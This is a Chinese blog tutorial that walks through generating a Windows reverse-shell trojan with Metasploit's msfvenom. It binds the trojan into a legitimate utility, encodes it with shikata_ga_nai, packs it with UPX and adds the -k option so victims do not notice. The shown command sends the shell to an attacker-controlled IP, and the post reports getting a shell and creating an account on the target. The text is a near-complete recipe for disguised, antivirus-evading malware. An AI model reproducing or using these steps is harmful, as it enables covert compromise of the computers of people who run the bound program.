原创博客,转载请注出处!

我的公众号,正在建设中,欢迎关注:

Meatsploit介绍

2018/01/03 更新

Metasploit是一款优秀的开源(!= 完全免费)渗透测试框架平台,在该平台下可以方便的实施渗透测试,Meatsploit具有繁多的接口、模块等等,甚至允许用户自己编写自己的模块使用。在Metasploit框架下可以方便的实现木马的生成、捆绑、免杀。实验楼网站存在此节课程但是是收费的,How frustrating,,,,so,,,,,:)

0X01选择攻击载荷

首先,开启终端,键入:“msfconsole“,进入metasploit控制台。

键入“show payloads",查看所有可用的攻击载荷的信息。
下面列出的载荷信息是所有可以使用的攻击载荷

我使用的载荷名为:shell_reverse_tcp,是一个简单的反弹shell程序,功能是连接肉鸡(系统为windows系统)的命令行。当然也可以使用其它的攻击载荷,实现不同的功能。

0X02选择被捆绑文件

本实验的实现的功能之一就是让木马捆绑在一个其它的可执行文件上,以便于木马的感染和传播。其实Meatsploit自带有程序模板,其位置在data/templates/template.exe。虽然这个模板经常会更新,但是其仍是各大反病毒木马厂商的关注重点。为了更好地实现免杀,我自己选择一个待捆绑程序。我选择的程序模板是”IP雷达“,IP雷达是一款常用且优秀的系统资源监控程序。(关于被捆绑程序的选择是随机的,侵删)
下图中qqwry.dat是IP雷达的IP地址库,与本实验无关。

0X03关于免杀

免杀是一门非常重要的技术(其它技术也很重要),我想一个真正的Hacker不会仅仅满足于使用别人的软件来进行免杀。自己写的壳再怎么低级也比直接从网上找到的加壳工具安全的多。常见的免杀方式有:修改特征码/修改程序入口点/花指令/加壳等等。(关于免杀推荐《黑客免杀攻防》——任晓珲,本书堪称入门/提升的经典之作,该书作者前是邪恶八进制的一员哦:))
回归正题,在Meatsploit框架下免杀的方式之一就是使用MSF编码器。其功能是对我们攻击载荷文件进行重新的排列编码,改变可执行文件中的代码形状,避免被杀软认出。可以在终端键入msfvenom -l encoders来查看所有的可用的编码方式。注意并不是所有的编码方式都在windows系统上可用!!!

再次提醒:注意并不是所有的编码方式都在windows系统上可用!!!这里我选择的编码方式是:

0X04木马的生成/捆绑/免杀

实验环境:
攻击机IP:192.168.159.134 系统:Kali linux
靶机IP:192.168.159.1 系统:win7(安全软件为:360、COMODO )

生成木马/捆绑/免杀操作如下:

msfvenom -p windows/shell_reverse_tcp 意为使用shell_reverse_tcp攻击载荷
LHOST=192.168.159.134 此步是设置攻击者IP地址
LPORT=8080 此步是设置木马将会主动连接攻击者设定的监听端口
-e x86/shikata_ga_nai 此步意为使用shikata_ga_nai的编码方式对攻击载荷进行重新编码,上文有讲
-x IPradar5.exe 此步意为将木马捆绑在指定的可执行程序模版上,此处为IPradar5.exe
-i 5 此处意为使用刚才设定的编码方式对目标进行5次编码(多次编码理论上来讲有助于免杀,但是也不一定,毕竟杀软不是白收费的,免杀技术飞速发展,新的免杀技术一出现就会被各大安全厂商盯上的。。。。)
-f exe 此步意为指定MSF编码器输出格式为exe
-o /root/Desktop/backdoor.exe 此步意为指定处理完毕后的文件输出路径

至此木马程序生成/捆绑/免杀就都完成了,,,,,,四不四很简单。。。。赶脚完全木有技术含量的说。。。。

下面测试:
先设置msf,将其设置为监听8080,等待木马的链接

。。。。。。。。
这就尴尬了。。。。

并不甘心。。。。再对刚才的程序进行加壳处理
终端键入upx,参看upx加壳软件参数

键入命令:upx -5 backdoor.exe 即对backdoor.exe进行加壳(此处为压缩处理),加壳的不便之处就是会改变源文件的大小,有经验的安全人员很容易发现这点差别。。。。重命名为1backdoor.exe

重新使用360扫描
结果狠尴尬。。。。

360的反木马引擎看来还是不错的。。。。。
将加壳后的文件上传viscan进行云查杀

可见公开的免杀工具并不是那么的靠谱,而且我发现在viscan的杀毒引擎中,奇虎360的引擎版本才是1.0.1,,,可见安全公司并不是白吃干饭的额。。。。

还有一点说明一下,以上对木马的生成绑定操作,执行含有木马的宿主程序时,宿主程序并不会启动,如果想隐蔽木马文件让用户察觉不出来宿主程序有问题的话,则要在生成木马的那段代码中添加 -k 选项,此意为攻击载荷会在一个独立的进程中启动而源宿主程序的运行不受影响。

++++++++++++++++++++++++++++++++++++++我是分割线++++++++++++++++++++++++++++++++++++++++++++++++++++

2018/01/03 更新
之前的实验是无线环境下进行操作,一直没能实现获取目标机的shell,现使用有线连接,成功获取了shell。
截图如下:

目标机:

从上图可以看到成功在肉鸡上创建了账户,下面测试下关机命令

实验免杀还是未能绕过360安全卫士,待有时间再实验。

我的公众号,正在建设中,欢迎关注:

实验到此结束

Metasploit实现木马生成、捆绑、免杀的更多相关文章

  1. Atitit.木马病毒的免杀原理---sikuli 的使用

    Atitit.木马病毒的免杀原理---sikuli 的使用 1. 使用sikuli java api1 1.1. 3. Write code!1 2. 常用api2 2.1. wait 等待某个界面出 ...

  2. vc++木马源码免杀一些常用方法

    1.字符串连接 ////////////////////////////////////////////////////////////把字符串"canxin"连接起来(字符串连接 ...

  3. PHP一句话木马Webshell变形免杀总结

    0×00 前言 大部分Webshell查杀工具都是基于关键字特征的,通常他们会维护一个关键字列表,以此遍历指定扩展名的文件来进行扫描,所以可能最先想到的是各种字符串变形,下面总结了一些小的方法,各种不 ...

  4. Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结

    Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...

  5. 20144306《网络对抗》MAL_免杀原理与实践

    一.基础问题回答 1.杀软是如何检测出恶意代码的? (1)特征码:类似于人的生物特征,恶意代码可能会包含一段或多端数据能代表其特征.杀软一般会对文件内容进行静态扫描,将文件内容与特征库进行匹配,来检测 ...

  6. 迁移Veil:手工打造Windows下编译的免杀Payload

    作者:RedFree 本文转自乌云 Veil对Payload的免杀已经做的很好了,最新的Veil有39个可用的Payload.但是有时候需要使用Windows来完成所有的渗透测试工作,Linux和Wi ...

  7. Bypass AV meterpreter免杀技巧

    0x01 meterpreter简介 MetasploitFramework是一个缓冲区溢出测试使用的辅助工具,也可以说是一个漏洞利用和测试平台,它集成了各种平台上常见的溢出漏洞和流行的shellco ...

  8. 内网渗透 day10-msfvenom免杀

    免杀2-msf免杀 目录 1. 生成shellcode 2. 生成python脚本 3. 自编码免杀 4. 自捆绑免杀(模版注入) 5. 自编码+自捆绑免杀 6. msf多重免杀 7. evasion ...

  9. Metasploit+python生成免杀exe过360杀毒

    Metasploit+python生成免杀exe过360杀毒 1在kali下生成一个反弹的msf的python脚本,命令如下: msfvenom -p windows/meterpreter/reve ...

随机推荐

  1. Delphi Bpl包学习

    对于BPL包,我个人理解是:就是一种封装方式,和DLL,EXE类似,把代码放到包(package)里面保存而已. 一.先说说如何创建BPL包 1.   打开delphi IDE(delphi7 为例) ...

  2. WPF UserControl 的绑定事件、属性、附加属性

    原文:WPF UserControl 的绑定事件.属性.附加属性 版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog.csdn.net/Vblegend_2013/arti ...

  3. Expression Design与Blend制作滚动的小球动画教程

    原文:Expression Design与Blend制作滚动的小球动画教程 一,开发工具 Microsoft Expression Design & Blend 4.0 (3.0亦可). 这两 ...

  4. urllib2使用总结

    keywords: urllib2,BeautifulSoup,cookielib 题外话: 小弟是编程爱好者,各位看官轻拍. 最近在使用urllib2抓取网页内容,在学习的过程中也查阅了不少资料,并 ...

  5. ehcache hibernate4整合问题

    当在原有hibernate使用ehcache缓存的项目中加入ehcache时,报如下错误时 Caused by: org.hibernate.service.spi.ServiceException: ...

  6. [Unity3D]Unity3D圣骑士模仿游戏开发传仙灵达到当局岛

    大家好,我是秦培.欢迎关注我的博客.我的博客地址blog.csdn.net/qinyuanpei. 在前面的文章中.我们分别实现了一个自己定义的角色控制器<[Unity3D]Unity3D游戏开 ...

  7. Java数据结构和算法的数组

    阵列的功能: 1.固定大小 2.相同的数据类型 3. 4.数据项可反复 Java数据类型:基本类型(int和double)和对象类型.在很多编程语言中.数组也是基本类型.但在Java中把它们当作对象来 ...

  8. Centos下一个server安装的版本号mysql

    首先这里说的是这里的路径.以及语句都是在网上看了非常多错误后自己实践后改动过来的,希望对大家实用. 这里在安装的时候要按着我的这个顺序.否则可能会由于路径错误而找不到对应的指令. 一.安装cmake ...

  9. Java之"Mozilla Rhino"引擎(二)

    在Java中使用Rhino, 能让你使用类似Groovy, ECMAScript...等等之类的不同动态脚本语言, 其中值得推荐的是ECMAScript, 它是Rhino的默认实现, 同时也在JDK1 ...

  10. gcc/g++编译(生动形象,从最容易入手的hello world解释了库的概念)

    1. gcc/g++在执行编译工作的时候,总共需要4步 (1).预处理,生成.i的文件[预处理器cpp] (2).将预处理后的文件不转换成汇编语言,生成文件.s[编译器egcs] (3).有汇编变为目 ...